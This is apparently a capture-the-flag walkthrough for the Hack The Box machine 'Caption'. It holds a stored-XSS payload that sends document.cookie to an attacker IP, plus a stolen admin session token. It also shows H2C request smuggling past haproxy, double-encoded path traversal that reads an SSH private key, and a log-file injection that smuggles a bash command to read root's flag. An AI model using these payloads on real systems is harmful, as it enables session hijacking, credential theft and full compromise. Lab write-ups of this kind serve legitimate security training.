Just some 0xW1LD stuff...
by 0xW1LD
nmap
find the following ports open:
1
2
3
4
5
6
7
8
9
10
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-21 00:47 EST
Nmap scan report for caption.htb (10.10.11.33)
Host is up (0.051s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 8.76 seconds
On the webpage running on port 80
we find a custom login page:
On the webpage running on port 8080
we find a gitbucket site:
looking at the GitHub page of
GitBucket
we find the default credentials:
root
root
which don’t seem to log us in.
We see two repositories, the caption-portal
one looks interesting as it’s probably the webserver running on port 80
Looking at the files initially found nothing interesting, checked the commit history and found: Update Access Control
which nets us the following credentials:
margo
vFr&cS2#0!
which we can use to login into the portal!:
Looking around we find nothing that stands out, trying to reuse the credentials to login to
GitBucket
also doesn’t work.
Intercepting the request to /firewalls
and attempting Host Header attacks
reveals that X-Forwarded-Host
header is vulnerable to XSS:
1
2
3
4
5
6
7
8
9
10
11
12
GET /firewalls HTTP/1.1
Host: caption.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://caption.htb/firewalls
Cookie: JSESSIONID=node01mho8ai0w4nxj1phn6mlxveywp79.node0; session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Im1hcmdvIiwiZXhwIjoxNzM3NDYwNjYyfQ.BqBry30CBvRD33DrRY8SaWq-Q5_ZP3S23e_qtZGXinw
Upgrade-Insecure-Requests: 1
Priority: u=0, i
X-Forwarded-Host: 127.0.0.1"><script>alert('xss test');</script>
Burp repeater seems inconsistent, however figured out later that this was due to a caching issue, using MatchAndReplace to automatically add header works
creating the following payload for stored XSS to steal cookies:
1
X-Forwarded-Host: 127.0.0.1"><script>fetch('http://10.10.14.23/test.php?c='+document.cookie)</script>
We get the following callback on our listening server:
1
10.10.11.33 - - [21/Jan/2025 18:01:43] "GET /test.php?c=session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM3NTA0MDg0fQ.3KYn1rCsnRfsO9t8dQAI2FpEyqcbdlJLcNeGiCXoJ64 HTTP/1.1" 404 -
Running feroxbuster
we find the following directories that are both 403 Forbidden
:
1
2
403 GET 4l 8w 94c http://caption.htb/logs
403 GET 4l 8w 94c http://caption.htb/download
Using the stolen cookies I am still getting 403 Forbidden
on those pages:
Knowing that haproxy
is running on the background I attempt to bypass it using
H2Csmuggler
1
$ python3 h2csmuggler.py -x "http://caption.htb" -H "Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM3NTE0MTg2fQ.LQFk69bSW_dgmNpF6kCo9O0VDV0yQwEPlBHYY3xRBgs; JSESSIONID=node0q95nb4nf8uib156s6htpkkank0.node0" "http://127.0.0.1:6081/download?url=http://127.0.0.1:3923/"
checking the home page of the download url copy party server found this:
1
2
3
4
<script src="/.cpr/util.js?_=kEZE"></script>
<script src="/.cpr/baguettebox.js?_=kEZE"></script>
<script src="/.cpr/browser.js?_=kEZE"></script>
<script src="/.cpr/up2k.js?_=kEZE"></script>
Utilizing the .cpr
directory attempted to read /home/margo/.ssh/id_ecdsa
only to find that it’s not found, checking the output we find that our input is injected into a form action:
1
<form method="post" enctype="multipart/form-data" action="/.cpr//home/margo/.ssh/id_ecdsa">
Double encoding and attemting to grab ssh keys: %252Fhome%252Fmargo%252F.ssh%252Fid_ecdsa
:
1
2
3
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS1zaGEy
<SNIP>
Got margo
Looking back at gitbucket
we see that the logservice is running on port 9090
1
2
3
4
5
6
7
8
9
10
11
12
13
14
func main() {
handler := &LogServiceHandler{}
processor := log_service.NewLogServiceProcessor(handler)
transport, err := thrift.NewTServerSocket(":9090")
if err != nil {
log.Fatalf("Error creating transport: %v", err)
}
server := thrift.NewTSimpleServer4(processor, transport, thrift.NewTTransportFactory(), thrift.NewTBinaryProtocolFactoryDefault())
log.Println("Starting the server...")
if err := server.Serve(); err != nil {
log.Fatalf("Error occurred while serving: %v", err)
}
}
which is consistent with the open ports:
1
2
$ ss -tulnp
tcp LISTEN 0 4096 127.0.0.1:9090 0.0.0.0:*
Looking at the service it uses the following library for log transport: Apache/Thrift github Here is the library’s documentation: Thrift Looking around for vulnerabilities in thrift I found out this: Apache Thrift Go Library Command Injection So I take a look at the thrift file in the github repository:
1
2
3
4
5
namespace go log_service
service LogService {
string ReadLogFile(1: string filePath)
}
Copy it to my box and use it to generate the files needed for a client:
1
$ thrift -r --gen py log_service.thrift
Using ChatGPT to generate the following client poc
in python:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import sys
import time
from thrift import Thrift
from thrift.protocol import TBinaryProtocol
from thrift.transport import TSocket, TTransport
from log_Service import LogService
def main():
# Connect to the Thrift server running on localhost:9090
transport = TSocket.TSocket('127.0.0.1', 9090)
transport = TTransport.TBufferedTransport(transport)
protocol = TBinaryProtocol.TBinaryProtocol(transport)
# Create a client for the LogService
client = LogService.Client(protocol)
try:
# Open the transport connection
transport.open()
# Specify the log file path you want to read from the server
file_path = "/home/margo/w1ld/log.log"
# Call the ReadLogFile method on the server
print(f"Calling ReadLogFile with file: {file_path}")
response = client.ReadLogFile(file_path)
# Print the response received from the server
print("Server Response:", response)
# Optionally, you can check the output file created by the server
output_file = "output.log"
try:
with open(output_file, 'r') as file:
print("\nContents of output.log:")
print(file.read())
except FileNotFoundError:
print(f"Output file '{output_file}' does not exist.")
except Thrift.TException as tx:
print(f"Error: {tx.message}")
finally:
# Close the transport connection
transport.close()
if __name__ == "__main__":
main()
which reads the logfile /home/margo/w1ld/log.log
which we must create:
1
127.0.0.1 "user-agent":"'; /bin/bash /home/margo/w1ld/w1ld.sh#"
which calls w1ld.sh
1
cat /root/root.txt >> /home/margo/w1ld/root.txt
before running the script we must forward port 9090
to our home machine:
1
$ ssh margo@caption.htb -i id_ecdsa -L 9090:127.0.0.1:9090
Run the script and read the root file:
1
2
3
4
5
kali@kali:~/htb/caption/gen-py
$ python3 poc.py
[margo:~/w1ld]
$ ls
log.log root.txt w1ld.sh